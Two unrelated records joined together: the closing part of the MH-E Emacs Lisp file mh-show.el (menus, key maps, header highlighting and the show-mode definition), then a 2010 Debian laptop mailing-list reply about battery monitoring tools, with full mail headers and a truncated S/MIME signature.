(mh-defun-show-buffer mh-show-index-new-messages mh-index-new-messages)
(mh-defun-show-buffer mh-show-index-ticked-messages mh-index-ticked-messages)
(mh-defun-show-buffer mh-show-index-sequenced-messages
mh-index-sequenced-messages)
(mh-defun-show-buffer mh-show-catchup mh-catchup)
(mh-defun-show-buffer mh-show-ps-print-toggle-color mh-ps-print-toggle-color)
(mh-defun-show-buffer mh-show-ps-print-toggle-faces mh-ps-print-toggle-faces)
(mh-defun-show-buffer mh-show-ps-print-msg-file mh-ps-print-msg-file)
(mh-defun-show-buffer mh-show-ps-print-msg mh-ps-print-msg)
(mh-defun-show-buffer mh-show-toggle-mime-buttons mh-toggle-mime-buttons)
(mh-defun-show-buffer mh-show-display-with-external-viewer
mh-display-with-external-viewer)
;;; Sequence Menu
(easy-menu-define
mh-show-sequence-menu mh-show-mode-map "Menu for MH-E folder-sequence."
'("Sequence"
["Add Message to Sequence..." mh-show-put-msg-in-seq t]
["List Sequences for Message" mh-show-msg-is-in-seq t]
["Delete Message from Sequence..." mh-show-delete-msg-from-seq t]
["List Sequences in Folder..." mh-show-list-sequences t]
["Delete Sequence..." mh-show-delete-seq t]
["Narrow to Sequence..." mh-show-narrow-to-seq t]
["Widen from Sequence" mh-show-widen t]
"--"
["Narrow to Subject Sequence" mh-show-narrow-to-subject t]
["Narrow to Tick Sequence" mh-show-narrow-to-tick
(with-current-buffer mh-show-folder-buffer
(and mh-tick-seq (mh-seq-msgs (mh-find-seq mh-tick-seq))))]
["Delete Rest of Same Subject" mh-show-delete-subject t]
["Toggle Tick Mark" mh-show-toggle-tick t]
"--"
["Push State Out to MH" mh-show-update-sequences t]))
;;; Message Menu
(easy-menu-define
mh-show-message-menu mh-show-mode-map "Menu for MH-E folder-message."
'("Message"
["Show Message" mh-show-show t]
["Show Message with Header" mh-show-header-display t]
["Show Message with Preferred Alternative"
mh-show-show-preferred-alternative t]
["Next Message" mh-show-next-undeleted-msg t]
["Previous Message" mh-show-previous-undeleted-msg t]
["Go to First Message" mh-show-first-msg t]
["Go to Last Message" mh-show-last-msg t]
["Go to Message by Number..." mh-show-goto-msg t]
["Modify Message" mh-show-modify t]
["Delete Message" mh-show-delete-msg t]
["Refile Message" mh-show-refile-msg t]
["Undo Delete/Refile" mh-show-undo t]
["Process Delete/Refile" mh-show-execute-commands t]
"--"
["Compose a New Message" mh-send t]
["Reply to Message..." mh-show-reply t]
["Forward Message..." mh-show-forward t]
["Redistribute Message..." mh-show-redistribute t]
["Edit Message Again" mh-show-edit-again t]
["Re-edit a Bounced Message" mh-show-extract-rejected-mail t]
"--"
["Copy Message to Folder..." mh-show-copy-msg t]
["Print Message" mh-show-print-msg t]
["Write Message to File..." mh-show-write-msg-to-file t]
["Pipe Message to Command..." mh-show-pipe-msg t]
["Unpack Uuencoded Message..." mh-show-store-msg t]
["Burst Digest Message" mh-show-burst-digest t]))
;;; Folder Menu
(easy-menu-define
mh-show-folder-menu mh-show-mode-map "Menu for MH-E folder."
'("Folder"
["Incorporate New Mail" mh-show-inc-folder t]
["Toggle Show/Folder" mh-show-toggle-showing t]
["Execute Delete/Refile" mh-show-execute-commands t]
["Rescan Folder" mh-show-rescan-folder t]
["Thread Folder" mh-show-toggle-threads t]
["Pack Folder" mh-show-pack-folder t]
["Sort Folder" mh-show-sort-folder t]
"--"
["List Folders" mh-show-list-folders t]
["Visit a Folder..." mh-show-visit-folder t]
["View New Messages" mh-show-index-new-messages t]
["Search..." mh-search t]
"--"
["Quit MH-E" mh-quit t]))
;;; MH-Show Keys
(gnus-define-keys mh-show-mode-map
" " mh-show-page-msg
"!" mh-show-refile-or-write-again
"'" mh-show-toggle-tick
"," mh-show-header-display
"." mh-show-show
":" mh-show-show-preferred-alternative
">" mh-show-write-message-to-file
"?" mh-help
"E" mh-show-extract-rejected-mail
"M" mh-show-modify
"\177" mh-show-previous-page
"\C-d" mh-show-delete-msg-no-motion
"\t" mh-show-next-button
[backtab] mh-show-prev-button
"\M-\t" mh-show-prev-button
"\ed" mh-show-redistribute
"^" mh-show-refile-msg
"c" mh-show-copy-msg
"d" mh-show-delete-msg
"e" mh-show-edit-again
"f" mh-show-forward
"g" mh-show-goto-msg
"i" mh-show-inc-folder
"k" mh-show-delete-subject-or-thread
"m" mh-show-send
"n" mh-show-next-undeleted-msg
"\M-n" mh-show-next-unread-msg
"o" mh-show-refile-msg
"p" mh-show-previous-undeleted-msg
"\M-p" mh-show-previous-unread-msg
"q" mh-show-quit
"r" mh-show-reply
"s" mh-show-send
"t" mh-show-toggle-showing
"u" mh-show-undo
"x" mh-show-execute-commands
"v" mh-show-index-visit-folder
"|" mh-show-pipe-msg)
(gnus-define-keys (mh-show-folder-map "F" mh-show-mode-map)
"?" mh-prefix-help
"'" mh-index-ticked-messages
"S" mh-show-sort-folder
"c" mh-show-catchup
"f" mh-show-visit-folder
"k" mh-show-kill-folder
"l" mh-show-list-folders
"n" mh-index-new-messages
"o" mh-show-visit-folder
"p" mh-show-pack-folder
"q" mh-show-index-sequenced-messages
"r" mh-show-rescan-folder
"s" mh-search
"t" mh-show-toggle-threads
"u" mh-show-undo-folder
"v" mh-show-visit-folder)
(gnus-define-keys (mh-show-sequence-map "S" mh-show-mode-map)
"'" mh-show-narrow-to-tick
"?" mh-prefix-help
"d" mh-show-delete-msg-from-seq
"k" mh-show-delete-seq
"l" mh-show-list-sequences
"n" mh-show-narrow-to-seq
"p" mh-show-put-msg-in-seq
"s" mh-show-msg-is-in-seq
"w" mh-show-widen)
(define-key mh-show-mode-map "I" mh-inc-spool-map)
(gnus-define-keys (mh-show-junk-map "J" mh-show-mode-map)
"?" mh-prefix-help
"b" mh-show-junk-blacklist
"w" mh-show-junk-whitelist)
(gnus-define-keys (mh-show-ps-print-map "P" mh-show-mode-map)
"?" mh-prefix-help
"C" mh-show-ps-print-toggle-color
"F" mh-show-ps-print-toggle-faces
"f" mh-show-ps-print-msg-file
"l" mh-show-print-msg
"p" mh-show-ps-print-msg)
(gnus-define-keys (mh-show-thread-map "T" mh-show-mode-map)
"?" mh-prefix-help
"u" mh-show-thread-ancestor
"p" mh-show-thread-previous-sibling
"n" mh-show-thread-next-sibling
"t" mh-show-toggle-threads
"d" mh-show-thread-delete
"o" mh-show-thread-refile)
(gnus-define-keys (mh-show-limit-map "/" mh-show-mode-map)
"'" mh-show-narrow-to-tick
"?" mh-prefix-help
"c" mh-show-narrow-to-cc
"g" mh-show-narrow-to-range
"m" mh-show-narrow-to-from
"s" mh-show-narrow-to-subject
"t" mh-show-narrow-to-to
"w" mh-show-widen)
(gnus-define-keys (mh-show-extract-map "X" mh-show-mode-map)
"?" mh-prefix-help
"s" mh-show-store-msg
"u" mh-show-store-msg)
(gnus-define-keys (mh-show-digest-map "D" mh-show-mode-map)
"?" mh-prefix-help
" " mh-show-page-digest
"\177" mh-show-page-digest-backwards
"b" mh-show-burst-digest)
(gnus-define-keys (mh-show-mime-map "K" mh-show-mode-map)
"?" mh-prefix-help
"a" mh-mime-save-parts
"e" mh-show-display-with-external-viewer
"v" mh-show-toggle-mime-part
"o" mh-show-save-mime-part
"i" mh-show-inline-mime-part
"t" mh-show-toggle-mime-buttons
"\t" mh-show-next-button
[backtab] mh-show-prev-button
"\M-\t" mh-show-prev-button)
;;; MH-Show Font Lock
(defun mh-header-field-font-lock (field limit)
"Return the value of a header field FIELD to font-lock.
Argument LIMIT limits search."
(if (= (point) limit)
nil
(let* ((mail-header-end (mh-mail-header-end))
(lesser-limit (if (< mail-header-end limit) mail-header-end limit))
(case-fold-search t))
(when (and (< (point) mail-header-end) ;Only within header
(re-search-forward (format "^%s" field) lesser-limit t))
(let ((match-one-b (match-beginning 0))
(match-one-e (match-end 0)))
(mh-header-field-end)
(if (> (point) limit) ;Don't search for end beyond limit
(goto-char limit))
(set-match-data (list match-one-b match-one-e
(1+ match-one-e) (point)))
t)))))
(defun mh-header-to-font-lock (limit)
"Return the value of a header field To to font-lock.
Argument LIMIT limits search."
(mh-header-field-font-lock "To:" limit))
(defun mh-header-cc-font-lock (limit)
"Return the value of a header field cc to font-lock.
Argument LIMIT limits search."
(mh-header-field-font-lock "cc:" limit))
(defun mh-header-subject-font-lock (limit)
"Return the value of a header field Subject to font-lock.
Argument LIMIT limits search."
(mh-header-field-font-lock "Subject:" limit))
(defun mh-letter-header-font-lock (limit)
"Return the entire mail header to font-lock.
Argument LIMIT limits search."
(if (= (point) limit)
nil
(let* ((mail-header-end (save-match-data (mh-mail-header-end)))
(lesser-limit (if (< mail-header-end limit) mail-header-end limit)))
(when (mh-in-header-p)
(set-match-data (list 1 lesser-limit))
(goto-char lesser-limit)
t))))
(defun mh-show-font-lock-fontify-region (beg end loudly)
"Limit font-lock in `mh-show-mode' to the header.
Used when the option `mh-highlight-citation-style' is set to
\"Gnus\", leaving the body to be dealt with by Gnus highlighting.
The region between BEG and END is given over to be fontified and
LOUDLY controls if a user sees a message about the fontification
operation."
(let ((header-end (mh-mail-header-end)))
(cond
((and (< beg header-end)(< end header-end))
(font-lock-default-fontify-region beg end loudly))
((and (< beg header-end)(>= end header-end))
(font-lock-default-fontify-region beg header-end loudly))
(t
nil))))
(defvar mh-show-font-lock-keywords
'(("^\\(From:\\|Sender:\\)\\(.*\\)"
(1 'default)
(2 'mh-show-from))
(mh-header-to-font-lock
(0 'default)
(1 'mh-show-to))
(mh-header-cc-font-lock
(0 'default)
(1 'mh-show-cc))
("^\\(Reply-To:\\|Return-Path:\\)\\(.*\\)$"
(1 'default)
(2 'mh-show-from))
(mh-header-subject-font-lock
(0 'default)
(1 'mh-show-subject))
("^\\(Apparently-To:\\|Newsgroups:\\)\\(.*\\)"
(1 'default)
(2 'mh-show-cc))
("^\\(In-reply-to\\|Date\\):\\(.*\\)$"
(1 'default)
(2 'mh-show-date))
(mh-letter-header-font-lock
(0 'mh-show-header append t)))
"Additional expressions to highlight in MH-Show buffers.")
;;;###mh-autoload
(defun mh-show-font-lock-keywords ()
"Return variable `mh-show-font-lock-keywords'."
mh-show-font-lock-keywords)
(defvar mh-show-font-lock-keywords-with-cite
(let* ((cite-chars "[>|}]")
(cite-prefix "A-Za-z")
(cite-suffix (concat cite-prefix "0-9_.@-`'\"")))
(append
mh-show-font-lock-keywords
(list
;; Use MATCH-ANCHORED to effectively anchor the regexp left side.
`(,cite-chars
(,(concat "\\=[ \t]*"
"\\(\\([" cite-prefix "]+[" cite-suffix "]*\\)?"
"\\(" cite-chars "[ \t]*\\)\\)+"
"\\(.*\\)")
(beginning-of-line) (end-of-line)
(2 font-lock-constant-face nil t)
(4 font-lock-comment-face nil t))))))
"Additional expressions to highlight in MH-Show buffers.")
;;;###mh-autoload
(defun mh-show-font-lock-keywords-with-cite ()
"Return variable `mh-show-font-lock-keywords-with-cite'."
mh-show-font-lock-keywords-with-cite)
;;; MH-Show Mode
;; Ensure new buffers won't get this mode if default major-mode is nil.
(put 'mh-show-mode 'mode-class 'special)
;; Shush compiler.
(defvar font-lock-auto-fontify)
;;;###mh-autoload
(define-derived-mode mh-show-mode text-mode "MH-Show"
"Major mode for showing messages in MH-E.\\<mh-show-mode-map>
Email addresses and URLs in the message are highlighted if the
option `goto-address-highlight-p' is on, which it is by default.
To view the web page for a highlighted URL or to send a message
using a highlighted email address, use the middle mouse button or
\\[goto-address-at-point]. See Info node `(mh-e)Sending Mail' to
see how to configure Emacs to send the message using MH-E.
The hook `mh-show-mode-hook' is called upon entry to this mode.
See also `mh-folder-mode'.
\\{mh-show-mode-map}"
(mh-do-in-gnu-emacs
(if (boundp 'tool-bar-map)
(set (make-local-variable 'tool-bar-map) mh-show-tool-bar-map)))
(mh-do-in-xemacs
(mh-tool-bar-init :show))
(set (make-local-variable 'mail-header-separator) mh-mail-header-separator)
(setq paragraph-start (default-value 'paragraph-start))
(mh-show-unquote-From)
(mh-show-xface)
(mh-show-addr)
(setq buffer-invisibility-spec '((vanish . t) t))
(set (make-local-variable 'line-move-ignore-invisible) t)
(make-local-variable 'font-lock-defaults)
;;(set (make-local-variable 'font-lock-support-mode) nil)
(cond
((equal mh-highlight-citation-style 'font-lock)
(setq font-lock-defaults '(mh-show-font-lock-keywords-with-cite t)))
((equal mh-highlight-citation-style 'gnus)
(setq font-lock-defaults '((mh-show-font-lock-keywords)
t nil nil nil
(font-lock-fontify-region-function
. mh-show-font-lock-fontify-region)))
(mh-gnus-article-highlight-citation))
(t
(setq font-lock-defaults '(mh-show-font-lock-keywords t))))
(if (and (featurep 'xemacs)
font-lock-auto-fontify)
(turn-on-font-lock))
(when mh-decode-mime-flag
(mh-make-local-hook 'kill-buffer-hook)
(add-hook 'kill-buffer-hook 'mh-mime-cleanup nil t))
(easy-menu-add mh-show-sequence-menu)
(easy-menu-add mh-show-message-menu)
(easy-menu-add mh-show-folder-menu)
(make-local-variable 'mh-show-folder-buffer)
(buffer-disable-undo)
(setq buffer-read-only t)
(use-local-map mh-show-mode-map))
;;; Support Routines
(defun mh-show-unquote-From ()
"Decode >From at beginning of lines for `mh-show-mode'."
(save-excursion
(let ((modified (buffer-modified-p))
(case-fold-search nil)
(buffer-read-only nil))
(goto-char (mh-mail-header-end))
(while (re-search-forward "^>From" nil t)
(replace-match "From"))
(set-buffer-modified-p modified))))
;;;###mh-autoload
(defun mh-show-addr ()
"Use `goto-address'."
(goto-address))
;;;###mh-autoload
(defun mh-gnus-article-highlight-citation ()
"Highlight cited text in current buffer using Gnus."
(interactive)
;; Don't allow Gnus to create buttons while highlighting, maybe this is bad
;; style?
(mh-flet
((gnus-article-add-button (&rest args) nil))
(let* ((modified (buffer-modified-p))
(gnus-article-buffer (buffer-name))
(gnus-cite-face-list `(,@(cdr gnus-cite-face-list)
,(car gnus-cite-face-list))))
(gnus-article-highlight-citation t)
(set-buffer-modified-p modified))))
(provide 'mh-show)
;; Local Variables:
;; indent-tabs-mode: nil
;; sentence-end-double-space: nil
;; End:
;;; mh-show.el ends here
|
{
"pile_set_name": "Github"
}
|
X-Account-Key: account5
X-UIDL: GmailId128181933863ffb0
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Delivered-To: mlsubscriber.tech@csmining.org
Received: by 10.143.34.8 with SMTP id m8cs43295wfj;
Mon, 19 Apr 2010 15:05:34 -0700 (PDT)
Received: by 10.223.17.155 with SMTP id s27mr470391faa.13.1271714624502;
Mon, 19 Apr 2010 15:03:44 -0700 (PDT)
Return-Path: <bounce-debian-laptop=mlsubscriber.tech=csmining.org@lists.debian.org>
Received: from liszt.debian.org (liszt.debian.org [82.195.75.100])
by mx.google.com with ESMTP id k29si1307221fkk.15.2010.04.19.15.03.43;
Mon, 19 Apr 2010 15:03:44 -0700 (PDT)
Received-SPF: pass (google.com: manual fallback record for domain of bounce-debian-laptop=mlsubscriber.tech=csmining.org@lists.debian.org designates 82.195.75.100 as permitted sender) client-ip=82.195.75.100;
Authentication-Results: mx.google.com; spf=pass (google.com: manual fallback record for domain of bounce-debian-laptop=mlsubscriber.tech=csmining.org@lists.debian.org designates 82.195.75.100 as permitted sender) smtp.mail=bounce-debian-laptop=mlsubscriber.tech=csmining.org@lists.debian.org
Received: from localhost (localhost [127.0.0.1])
by liszt.debian.org (Postfix) with QMQP
id 669E813A4E3D; Mon, 19 Apr 2010 22:03:34 +0000 (UTC)
Old-Return-Path: <joe@emenaker.com>
XChecker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
XLevel:
XStatus: No, score=-9.5 required=4.0 tests=FOURLA,LDOSUBSCRIBER,
LDO_WHITELIST,RATWARE_GECKO_BUILD autolearn=failed version=3.2.5
X-Original-To: lists-debian-laptop@liszt.debian.org
Delivered-To: lists-debian-laptop@liszt.debian.org
Received: from localhost (localhost [127.0.0.1])
by liszt.debian.org (Postfix) with ESMTP id 9187313A4D5F
for <lists-debian-laptop@liszt.debian.org>; Mon, 19 Apr 2010 22:03:28 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-AmavisStatus: No, score=-6.9 tagged_above=-10000 required=5.3
tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5] autolearn=ham
Received: from liszt.debian.org ([127.0.0.1])
by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
with ESMTP id Ad9FfMQMAhgE for <lists-debian-laptop@liszt.debian.org>;
Mon, 19 Apr 2010 22:03:21 +0000 (UTC)
X-policyd-weight: using cached result; rate: -3.66
Received: from scully.cob.calpoly.edu (videoserver8.cob.calpoly.edu [129.65.185.9])
(using TLSv1 with cipher AES256-SHA (256/256 bits))
(Client did not present a certificate)
by liszt.debian.org (Postfix) with ESMTPS id DAFF213A4DB3
for <debian-laptop@lists.debian.org>; Mon, 19 Apr 2010 22:03:20 +0000 (UTC)
Received: from damien.cob.calpoly.edu ([129.65.91.128] helo=[127.0.0.1])
by scully.cob.calpoly.edu with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
(Exim 4.69)
(envelope-from <joe@emenaker.com>)
id 1O3z3l-00030T-Es
for debian-laptop@lists.debian.org; Mon, 19 Apr 2010 15:03:17 -0700
Message-ID: <4BCCD31F.507@emenaker.com>
Date: Mon, 19 Apr 2010 15:03:11 -0700
From: Joe Emenaker <joe@emenaker.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100317 Lightning/1.0b1 Thunderbird/3.0.4
MIME-Version: 1.0
To: debian-laptop@lists.debian.org
Subject: Re: Battery monitor tools?
References: <4BCCBC32.8090706@emenaker.com> <20100419212930.GA5574@dementia.proulx.com>
In-Reply-To: <20100419212930.GA5574@dementia.proulx.com>
Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms090808050700030703080806"
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <8veJ8RF8KNB.A.S-.2MNzLB@liszt>
Resent-From: debian-laptop@lists.debian.org
X-Mailing-List: <debian-laptop@lists.debian.org> archive/latest/34112
X-Loop: debian-laptop@lists.debian.org
List-Id: <debian-laptop.lists.debian.org>
List-Post: <mailto:debian-laptop@lists.debian.org>
List-Help: <mailto:debian-laptop-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-laptop-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-laptop-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-laptop-request@lists.debian.org
Resent-Date: Mon, 19 Apr 2010 22:03:34 +0000 (UTC)
This is a cryptographically signed message in MIME format.
--------------ms090808050700030703080806
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
On 4/19/2010 2:29 PM, Bob Proulx wrote:
> Joe Emenaker wrote:
> =20
>> I'm looking for a good battery charge/discharge profiler tool for my
>> Ubuntu laptop.
>> =20
> Of course I am sure that you know you are posting about Ubuntu to the
> Debian laptop mailing list? The least you could do is to lie to us
> and say you are running Debian when posting to a Debian list. :-)
> =20
Well, I maintain about 4 Debian servers... and I've been using Debian=20
almost exclusively ever since the .deb packaging system got rolled out=20
(yeah... waaaayyy back). Because Ubuntu is a derivative of Debian (in=20
the sense that just about anything available for Debian is either also=20
packaged for, or the Debian package is installable on, Ubuntu), and also =
because we in the Debian crowd have better kung-fu than those lame=20
GUI-installer Ubuntu-ites...... *and* because I've already been=20
subscribed on this list for several years.... I figured I'd ask here.
> There are some useful tools available though. You might look at 'ibam'=
=2E
> =20
Yeah, I saw IBAM, but it looked like it just generated plain ol' .png=20
files or something. I was hoping for something a little more snazzy.
- Joe
--------------ms090808050700030703080806
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIO5DCC
BEYwggOvoAMCAQICEGb9R+PCGeToms2Z3fU6yyQwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UE
BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1Ymxp
YyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA1MTAyODAwMDAwMFoXDTE1
MTAyNzIzNTk1OVowgd0xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEf
MB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE7MDkGA1UECxMyVGVybXMgb2YgdXNl
IGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEgKGMpMDUxHjAcBgNVBAsTFVBlcnNv
bmEgTm90IFZhbGlkYXRlZDE3MDUGA1UEAxMuVmVyaVNpZ24gQ2xhc3MgMSBJbmRpdmlkdWFs
IFN1YnNjcmliZXIgQ0EgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMnf
rOfq+PgDFMQAktXBfjbCPO98chXLwKuMPRyVzm8eECw/AO2XJua2x+atQx0/pIdHR0w+VPhs
+Mf8sZ69MHC8l7EDBeqV8a1AxUR6SwWi8mD81zplYu//EHuiVrvFTnAt1qIfPO2wQuhejVch
rKaZ2RHp0hoHwHRHQgv8xTTq/ea6JNEdCBU3otdzzwFBL2OyOj++pRpu9MlKWz2VphW7NQIZ
+dTvvI8OcXZZu0u2Ptb8Whb01g6J8kn+bAztFenZiHWcec5gJ925rXXOL3OVekA6hXVJsLjf
aLyrzROChRFQo+A8C67AClPN1zBvhTJGG+RJEMJs4q8fef/btLUCAwEAAaOB/zCB/DASBgNV
HRMBAf8ECDAGAQH/AgEAMEQGA1UdIAQ9MDswOQYLYIZIAYb4RQEHFwEwKjAoBggrBgEFBQcC
ARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYTALBgNVHQ8EBAMCAQYwEQYJYIZIAYb4
QgEBBAQDAgEGMC4GA1UdEQQnMCWkIzAhMR8wHQYDVQQDExZQcml2YXRlTGFiZWwzLTIwNDgt
MTU1MB0GA1UdDgQWBBQRfV4ZfTwE32ps1qKKGj8x2DuUUjAxBgNVHR8EKjAoMCagJKAihiBo
dHRwOi8vY3JsLnZlcmlzaWduLmNvbS9wY2ExLmNybDANBgkqhkiG9w0BAQUFAAOBgQA8o9oC
YzrEk6qrctPcrVA4HgyeFkqIt+7r2f8PjZWg1rv6aguuYYTYaEeJ70+ssh9JQZtJM3aTi55u
uUMcYL3C3Ioth8FFwBFyBBprJCpsb+f8BxMp0Hc6I+f1wYVoGb/GAVQgGa41gsxiPGEJxvTV
67APpp8zhZrTcY5Qj5ndYjCCBUkwggQxoAMCAQICEEgTlfTkCEE6iKvXTkEr69IwDQYJKoZI
hvcNAQEFBQAwgd0xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0G
A1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE7MDkGA1UECxMyVGVybXMgb2YgdXNlIGF0
IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEgKGMpMDUxHjAcBgNVBAsTFVBlcnNvbmEg
Tm90IFZhbGlkYXRlZDE3MDUGA1UEAxMuVmVyaVNpZ24gQ2xhc3MgMSBJbmRpdmlkdWFsIFN1
YnNjcmliZXIgQ0EgLSBHMjAeFw0xMDAxMjEwMDAwMDBaFw0xMTAxMjEyMzU5NTlaMIIBEjEX
MBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv
cmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9yeS9SUEEgSW5jb3JwLiBi
eSBSZWYuLExJQUIuTFREKGMpOTgxHjAcBgNVBAsTFVBlcnNvbmEgTm90IFZhbGlkYXRlZDEz
MDEGA1UECxMqRGlnaXRhbCBJRCBDbGFzcyAxIC0gTmV0c2NhcGUgRnVsbCBTZXJ2aWNlMRgw
FgYDVQQDFA9Kb3NlcGggRW1lbmFrZXIxHzAdBgkqhkiG9w0BCQEWEGpvZUBlbWVuYWtlci5j
b20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCXKMSWuWpcuKn69/GTa2PmMcf2
0kJxj6BRS9/F4cFAzapQcFVNFMET69Y1y/awSGRw6C0cYOnGUosOTSTHB1lD547VoomZsOhw
WZhzMyVolyJPEkOoJF9eqE3Ynpzd0ick9AzpBrojKvaR1Bvcujx1Z71JzYldrpi61S+ZhYLo
q17DqncOQE9Z1Clt3TVIaiYiBhLSFh+c7ZJNE/4VnNiTyr8+YVVDFs8bCzv2V9+yr2Er5dKw
0bJvj3a7BpndjfALcuS9zILVbqHxjVa2f8KT1LwSd4DjKlOpeJobABJlineUCvuH5ZPneJWd
pC9CVK3VHKtBjw8pq6k9YGh4iIK/AgMBAAGjgcwwgckwCQYDVR0TBAIwADBEBgNVHSAEPTA7
MDkGC2CGSAGG+EUBBxcBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNv
bS9ycGEwCwYDVR0PBAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjBKBgNV
HR8EQzBBMD+gPaA7hjlodHRwOi8vSW5kQzFEaWdpdGFsSUQtY3JsLnZlcmlzaWduLmNvbS9J
bmRDMURpZ2l0YWxJRC5jcmwwDQYJKoZIhvcNAQEFBQADggEBAJq7J+S3fCnlQR5o5hqYOjsF
YNfwuoN6QuTK58Ji43kF/36UJFNR4DcSU5PueWiEYr/5316Gorcc0r3Xtf1LJJJMYdUFA4zD
J1IV1Onf4vXpQU7Jb4yNixJzbRbmebWzcKjo5gruQjW0ivSjBXcB4UJLRumL6wk8uS5y2t1l
d+XMOaCmO5BUFXWymSa5BNNMeXQ3YMwxqQobqAv/H5cncOfD4M+lZ4JpVrjQMduKYS8L2wII
99QjmHMyl2cswq4NppTX0+vyaf75VQosuNptQwReyhmyfbC4sZTvGcRReDLsZKV6etA8gQ+g
vOCQjyvkW360fNgdDXsCP7UaUbnaTtkwggVJMIIEMaADAgECAhBIE5X05AhBOoir105BK+vS
MA0GCSqGSIb3DQEBBQUAMIHdMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIElu
Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRlcm1zIG9m
IHVzZSBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTA1MR4wHAYDVQQLExVQ
ZXJzb25hIE5vdCBWYWxpZGF0ZWQxNzA1BgNVBAMTLlZlcmlTaWduIENsYXNzIDEgSW5kaXZp
ZHVhbCBTdWJzY3JpYmVyIENBIC0gRzIwHhcNMTAwMTIxMDAwMDAwWhcNMTEwMTIxMjM1OTU5
WjCCARIxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBIElu
Y29ycC4gYnkgUmVmLixMSUFCLkxURChjKTk4MR4wHAYDVQQLExVQZXJzb25hIE5vdCBWYWxp
ZGF0ZWQxMzAxBgNVBAsTKkRpZ2l0YWwgSUQgQ2xhc3MgMSAtIE5ldHNjYXBlIEZ1bGwgU2Vy
dmljZTEYMBYGA1UEAxQPSm9zZXBoIEVtZW5ha2VyMR8wHQYJKoZIhvcNAQkBFhBqb2VAZW1l
bmFrZXIuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlyjElrlqXLip+vfx
k2tj5jHH9tJCcY+gUUvfxeHBQM2qUHBVTRTBE+vWNcv2sEhkcOgtHGDpxlKLDk0kxwdZQ+eO
1aKJmbDocFmYczMlaJciTxJDqCRfXqhN2J6c3dInJPQM6Qa6Iyr2kdQb3Lo8dWe9Sc2JXa6Y
utUvmYWC6Ktew6p3DkBPWdQpbd01SGomIgYS0hYfnO2STRP+FZzYk8q/PmFVQxbPGws79lff
sq9hK+XSsNGyb492uwaZ3Y3wC3LkvcyC1W6h8Y1Wtn/Ck9S8EneA4ypTqXiaGwASZYp3lAr7
h+WT53iVnaQvQlSt1RyrQY8PKaupPWBoeIiCvwIDAQABo4HMMIHJMAkGA1UdEwQCMAAwRAYD
VR0gBD0wOzA5BgtghkgBhvhFAQcXATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJp
c2lnbi5jb20vcnBhMAsGA1UdDwQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDBAYIKwYBBQUH
AwIwSgYDVR0fBEMwQTA/oD2gO4Y5aHR0cDovL0luZEMxRGlnaXRhbElELWNybC52ZXJpc2ln
bi5jb20vSW5kQzFEaWdpdGFsSUQuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCauyfkt3wp5UEe
aOYamDo7BWDX8LqDekLkyufCYuN5Bf9+lCRTUeA3ElOT7nlohGK/+d9ehqK3HNK917X9SySS
TGHVBQOMwydSFdTp3+L16UFOyW+MjYsSc20W5nm1s3Co6OYK7kI1tIr0owV3AeFCS0bpi+sJ
PLkuctrdZXflzDmgpjuQVBV1spkmuQTTTHl0N2DMMakKG6gL/x+XJ3Dnw+DPpWeCaVa40DHb
